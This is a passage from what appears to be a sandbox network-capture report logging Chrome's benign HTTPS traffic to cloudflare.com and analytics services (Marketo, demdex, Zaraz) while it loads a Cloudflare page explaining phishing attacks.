te(t){$t.push({time:s(t),event:39,data:{target:fe(t)}}),Ht(be.bind(this,39))}function ee(){$t=[]}function ne(t){Kt={name:t.type},be(26,s(t)),pr()}function r
2024-10-18 13:48:15 UTC	8192	IN	Data Raw: 6c 69 6e 65 6e 6f 2c 63 6f 6c 75 6d 6e 3a 74 2e 63 6f 6c 6e 6f 2c 73 74 61 63 6b 3a 65 2e 73 74 61 63 6b 2c 73 6f 75 72 63 65 3a 74 2e 66 69 6c 65 6e 61 6d 65 7d 2c 55 65 28 33 31 29 29 2c 21 30 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 74 29 7b 72 65 74 75 72 6e 20 65 74 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6e 74 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 77 69 74 63 68 28 65 3d 5b 73 28 29 2c 74 5d 2c 74 29 7b 63 61 73 65 20 33 31 3a 65 2e 70 75 73 68 28 59 65 2e 6d 65 73 73 61 67 65 29 2c 65 2e 70 75 73 68 28 59 65 2e 6c 69 6e 65 29 2c 65 2e 70 75 73 68 28 59 65 2e 63 6f 6c 75 6d 6e 29 2c 65 2e 70 75 73 68 28 59 65 2e 73 74 61 63 6b 29 2c 65 Data Ascii: lineno,column:t.colno,stack:e.stack,source:t.filename},Ue(31)),!0}function Ue(t){return et(this,void 0,void 0,(function(){var e;return nt(this,(function(n){switch(e=[s(),t],t){case 31:e.push(Ye.message),e.push(Ye.line),e.push(Ye.column),e.push(Ye.stack),e
2024-10-18 13:48:15 UTC	3772	IN	Data Raw: 6f 6f 6b 69 65 28 74 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 7a 6e 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 69 6e 73 69 67 68 74 73 75 65 74 71 26 26 77 69 6e 64 6f 77 2e 69 6e 73 69 67 68 74 73 75 65 74 71 2e 69 6e 73 69 67 68 74 73 53 65 74 43 6f 6f 6b 69 65 26 26 77 69 6e 64 6f 77 2e 69 6e 73 69 67 68 74 73 75 65 74 71 2e 69 6e 73 69 67 68 74 73 53 65 74 43 6f 6f 6b 69 65 28 74 2c 65 29 7d 76 61 72 20 59 6e 2c 52 6e 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 4c 6e 28 29 7b 76 61 72 20 74 3d 45 6e 3b 52 6e 3d 7b 76 65 72 73 69 6f 6e 3a 6c 2c 73 65 71 75 65 6e 63 65 3a 30 2c 73 74 61 72 74 3a 30 2c 64 75 72 61 74 69 6f 6e 3a 30 2c 70 72 6f 6a 65 63 74 49 64 3a 74 2e 70 72 6f 6a 65 63 74 49 64 2c 75 73 65 72 49 64 3a 74 2e 75 73 65 72 49 64 2c 73 Data Ascii: ookie(t):null}function zn(t,e){window.insightsuetq&&window.insightsuetq.insightsSetCookie&&window.insightsuetq.insightsSetCookie(t,e)}var Yn,Rn=null;function Ln(){var t=En;Rn={version:l,sequence:0,start:0,duration:0,projectId:t.projectId,userId:t.userId,s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	50864	192.28.144.124	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	994	OUT	POST /webevents/clickLink?_mchNc=1729259293787&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Flearning%2Faccess-management%2Fphishing-attack%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A59028572615554561702300982760543860491& HTTP/1.1 Host: 713-xsc-918.mktoresp.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	241	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: close X-Request-Id: 7b165d68-d640-41db-809f-046305ca9e5c Access-Control-Allow-Origin: *
2024-10-18 13:48:15 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	50865	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4381	OUT	POST /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 2100 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:15 UTC	2100	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 63 6c 69 63 6b 5f 69 6e 74 65 72 6e 61 6c 22 2c 22 64 61 74 61 22 3a 7b 22 67 6f 6f 67 6c 65 5f 63 6f 6e 73 65 6e 74 5f 64 65 66 61 75 6c 74 22 3a 7b 22 61 64 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 6e 61 6c 79 74 69 63 73 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 73 65 63 75 72 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 5f 73 74 6f 72 61 67 65 Data Ascii: {"name":"click_internal","data":{"google_consent_default":{"ad_storage":"granted","ad_user_data":"granted","ad_personalization":"granted","analytics_storage":"granted","security_storage":"granted","functionality_storage":"granted","personalization_storage
2024-10-18 13:48:15 UTC	1272	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: application/json Content-Length: 332 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; Domain=cloudflare.com; Path=/; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: google-analytics_v4_nzcr__conversionCounter=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:15 UTC	1002	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 44 75 72 61 74 69 6f 6e 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 53 74 61 72 74 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 Data Ascii: set-cookie: google-analytics_v4_nzcr__engagementDuration=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Laxset-cookie: google-analytics_v4_nzcr__engagementStart=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSi
2024-10-18 13:48:15 UTC	1592	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:15 UTC	415	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 43 69 37 36 68 62 6a 38 51 31 42 6a 4a 6e 45 6f 56 57 66 48 33 6e 32 58 61 38 57 73 69 30 54 75 37 6d 39 35 70 68 4d 59 71 70 69 33 6a 7a 67 62 55 31 35 6f 4e 50 68 35 66 54 70 55 6a 44 35 7a 32 73 56 4d 43 4d 4a 39 45 48 69 7a 4a 59 37 45 52 67 4c 32 72 6f 41 65 72 25 32 42 36 52 4e 39 79 73 52 38 65 46 39 66 71 25 32 46 66 73 6b 35 77 5a 67 25 32 42 67 45 32 46 57 52 6f 6b 25 32 46 4b 58 67 58 77 41 32 6c 68 5a 75 39 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ci76hbj8Q1BjJnEoVWfH3n2Xa8Wsi0Tu7m95phMYqpi3jzgbU15oNPh5fTpUjD5z2sVMCMJ9EHizJY7ERgL2roAer%2B6RN9ysR8eF9fq%2Ffsk5wZg%2BgE2FWRok%2FKXgXwA2lhZu9g%3D%3D"}],"group":"cf-nel","max_age
2024-10-18 13:48:15 UTC	332	IN	Data Raw: 7b 22 65 22 3a 5b 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 41 6c 6c 54 72 61 63 6b 73 5c 22 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 4d 45 4b 59 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 5d 2c 22 66 22 3a 5b 5b 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 2f 63 6f 6c 6c 65 63 74 3f 74 3d 64 63 26 61 69 70 3d 31 26 5f 72 3d 33 26 76 3d 31 26 5f 76 3d 6a 38 36 26 74 69 64 3d 47 2d 50 47 56 31 4b 32 42 4e 34 4d 26 63 69 64 3d Data Ascii: {"e":["(function(w,d){w.zarazData.executed.push(\"AllTracks\");w.zarazData.executed.push(\"MEKY\");})(window,document)","(function(w,d){})(window,document)"],"f":[["https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	50860	52.49.4.19	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	473	OUT	GET /ibs:dpid=411&dpuuid=ZxJnHQAAAKUlswN6 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=64977079024833184161452952043619543345; dpm=64977079024833184161452952043619543345
2024-10-18 13:48:16 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Q7mqDFBNT9M= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v067-0955a6c5b.edge-irl1.demdex.com 3 ms set-cookie: dpm=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:15 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=64977079024833184161452952043619543345; Max-Age=15552000; Expires=Wed, 16 Apr 2025 13:48:15 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-18 13:48:16 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	50867	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4848	OUT	GET /page-data/index/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:16 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"eeb94f1a13afbfaac802694c0a872cc1" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Oxr1o2EIiUaHc72ASq1lBs3Rt2Tan4DEMGhNlLzjn039%2F1DK3Q41ANBy4k2f%2Bw%2BL1mK05JAcYIRUyi3kGLQNNEeCxvZnUT02gdBOUxEdfCWIcRAFFdzKhQbECoEFtmBnatxqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc2788ae3166-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:16 UTC	406	IN	Data Raw: 37 62 65 65 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 61 67 65 22 3a 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 48 6f 6d 65 70 61 67 65 20 52 65 64 77 6f 6f 64 20 2d 20 4c 49 56 45 20 2d 20 44 4f 20 4e 4f 54 20 44 45 4c 45 54 45 22 2c 22 6c 6f 63 61 6c 65 4c 69 73 74 22 3a 7b 22 65 6e 55 53 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 43 4e 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 54 57 22 3a 22 54 72 61 6e Data Ascii: 7bee{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/","result":{"data":{"page":{"pageName":"Homepage Redwood - LIVE - DO NOT DELETE","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Tran
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 70 74 42 52 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 73 45 53 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 73 4c 41 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 6e 41 55 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 6e 43 41 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 6e 49 4e 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 65 6e 47 42 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 6e 6c 4e 4c 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f Data Ascii: Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"Translated fo
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 32 39 64 64 63 32 30 65 31 62 38 62 2f 43 46 5f 4d 65 74 61 49 6d 61 67 65 5f 31 32 30 30 78 36 32 38 2e 70 6e 67 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 7d 2c 22 61 75 74 68 6f 72 22 3a 5b 5d 7d 2c 22 73 79 73 22 3a 7b 22 63 72 65 61 74 65 64 41 74 22 3a 22 32 30 32 30 2d 31 32 2d 31 31 54 30 35 3a 32 36 3a 32 34 2e 33 36 34 5a 22 2c 22 75 70 64 61 74 65 64 41 74 22 3a 22 32 30 32 34 2d 31 30 2d 30 38 54 31 31 3a 34 30 3a 30 34 2e 39 39 34 5a 22 7d 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 72 46 73 71 72 73 66 78 33 64 62 70 69 75 36 64 51 50 77 31 50 22 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 70 61 67 65 22 2c 22 70 72 6f 6d 6f 74 69 6f 6e 61 6c 42 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 70 73 61 42 61 6e 6e 65 Data Ascii: 29ddc20e1b8b/CF_MetaImage_1200x628.png"},"description":""},"author":[]},"sys":{"createdAt":"2020-12-11T05:26:24.364Z","updatedAt":"2024-10-08T11:40:04.994Z"},"contentfulId":"2rFsqrsfx3dbpiu6dQPw1P","contentTypeId":"page","promotionalBanner":null,"psaBanne
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 61 39 5a 74 6d 51 6f 77 70 45 4c 31 52 4a 72 44 45 45 50 62 77 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 69 66 69 65 64 20 73 65 63 75 72 69 74 79 20 66 6f 72 20 74 68 65 20 49 6e 74 65 72 6e 65 74 2c 20 65 6d 70 6c 6f 79 65 65 73 20 26 20 6e 65 74 77 6f 72 6b 73 22 2c 22 75 72 6c 22 3a 22 63 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c Data Ascii: ink","contentfulId":"4a9ZtmQowpEL1RJrDEEPbw","locale":"en-US","title":"Cybersecurity","description":"Unified security for the Internet, employees & networks","url":"cybersecurity","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 34 75 38 64 33 49 48 63 71 43 43 30 65 78 5a 77 57 51 7a 70 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6d 62 69 6e 65 20 73 65 63 75 72 69 74 79 20 77 69 74 68 20 70 65 72 66 6f 72 6d 61 6e 63 65 20 66 6f 72 20 70 72 6f 74 65 63 74 69 6e 67 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 65 22 2c 22 75 72 6c 22 3a 22 2f 61 70 70 6c 69 63 Data Ascii: ll,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"34u8d3IHcqCC0exZwWQzpk","locale":"en-US","title":"Protect & accelerate applications","description":"Combine security with performance for protecting without compromise","url":"/applic
